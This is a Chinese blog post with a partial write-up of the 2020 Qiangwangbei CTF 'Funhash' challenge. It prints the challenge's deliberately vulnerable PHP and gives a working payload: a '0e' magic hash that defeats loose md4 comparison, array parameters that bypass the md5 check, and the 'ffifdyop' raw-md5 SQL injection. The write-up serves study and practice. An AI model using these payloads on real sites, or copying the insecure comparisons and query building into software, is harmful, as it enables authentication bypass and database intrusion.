强网杯2020部分WP

原创

大千SS 于 2020-08-24 09:50:11 发布 2046 收藏 2

分类专栏： 赛题复现 文章标签： 强网杯 ctf 网络安全 hash

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zz_Caleb/article/details/108193422
版权

赛题复现 专栏收录该内容
15 篇文章 1 订阅
订阅专栏

Funhash

```php
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if (($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
        die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
        die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();


?>
level 1 failed
```

https://blog.csdn.net/zz_Caleb

有三个level，一个一个过

level1：

hash函数之后的值等于原值，也就是使用hash进行md4加密之后的密文=明文，比较常见的有0e碰撞相等

给出两个加密之后开头仍是0e的字符串：0e251288019、0e001233333333333334557778889

hash1=0e001233333333333334557778889绕过level1

level2

数组绕过：hash2[]=1&hash3[]=3

level3

特殊字符绕过：hash4=ffifdyop

最终payload：
hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=3&hash4=ffifdyop